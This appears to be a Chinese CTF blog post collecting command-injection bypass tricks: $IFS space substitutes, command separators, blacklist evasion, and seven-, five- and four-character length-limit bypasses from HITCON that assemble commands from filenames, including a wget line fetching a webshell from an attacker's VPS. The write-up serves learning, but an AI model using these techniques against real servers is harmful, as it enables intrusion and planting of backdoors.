(写完之后没保存又要重新再敲一遍,好气)源于lemon师傅,然后又参考了pupile师傅的文章,’偷’点干货来。
空格绕过
<
符号
$IFS$9
符号 ${IFS}
符号
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,加一个{}就固定了变量名,同理在后面加个$可以起到截断作用。
命令分隔符
%0a
符号
换行符%0d
符号
回车符;
符号
表示连续指令&
符号
表示将前一个命令设置进入后台|
符号
管道符,将前一个命令的输出作为后一个命令的输入&&
符号
前一个命令执行成功才会执行下一条命令||
符号
前一个命令执行失败才会执行下一条命令
黑名单绕过
a=l;b=s;$a$b
base64编码
短命令执行
这个技巧一开始看到的是p神的七字命令执行,觉得好牛逼。然后最近hitcon的orange出了题五字和四字的,觉得在风中凌乱了…
大体上的想法就是通过重命名文件绕过,然后通过ls来将文件名写入到文件中,
可以看到>
这个重定向符号可以来创建文件,其中文件名是>
后面跟的参数,然后创建出我们精心构造好的多个文件名,然后通过ls
打印出来再重定向>
到一个木马文件中,就可以执行了。
拼接方法
讲题目之前先介绍两种拼接方法:
- 一个反斜杠
\
,这种方法是将一次输入分成多出输入,以\
换下一次,以p
结束。这种方法的话创建的文件名是按照我们的输入正常排列好的,所以我们不需要添加-t
来重新排序,如下面的七字绕过实例。 - 两个反斜杠
\\
,这种方法是利用\
来拼接字符串,其中前一个\
是用来反义后一个\
的。这种方法的话需要精心构造输入,利用倒叙来输入,然后ls
的时候需要加-t
参数来排列一下,如下图以及五字四字绕过,虽然报错了但是也执行成功了。
七字绕过
代码如下:
很简单的代码,绕过长度限制就可以执行任意命令,利用代码如下:
上面的代码其实是在目标服务器创建个文件名为a的文件,内容为’wget 域名.com -O shell.pp’
代码含义就是去执行我们自己的vps上的一个木马文件
这里有一点特别值得注意的。这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来
五字绕过
源代码如下:
观察可得,每个用户的操作目录独立,而且可以执行长度小于等于5的命令,那么不用担心别人文件干扰。
唯一值得注意的是因为长度要小于5,所以我们无法执行ls -t>a
接下来看一下orange的官方wp:
注意看
这几行代码,因为我们提到不能用ls -t>g
来排序,所以我们需要用合理的分割方式和预写入来控制写入文件的内容
四字绕过
代码如下:
这题就是大佬们自己嗨了…最大的问题还是ls -t>g
这个问题,所以如果我们构造成ls -th>g
,然后逆序分割:
然后逆序输出到文件
这里就可以看出为什么构造ls -th>g
,因为这个时候可以看到目录遍历的时候,ht-
跑到了g>
后面(大佬就是会牛逼…),这时候完美的构造出了我们需要的命令,后面命令基本不变。
后面如果有别的继续补充吧…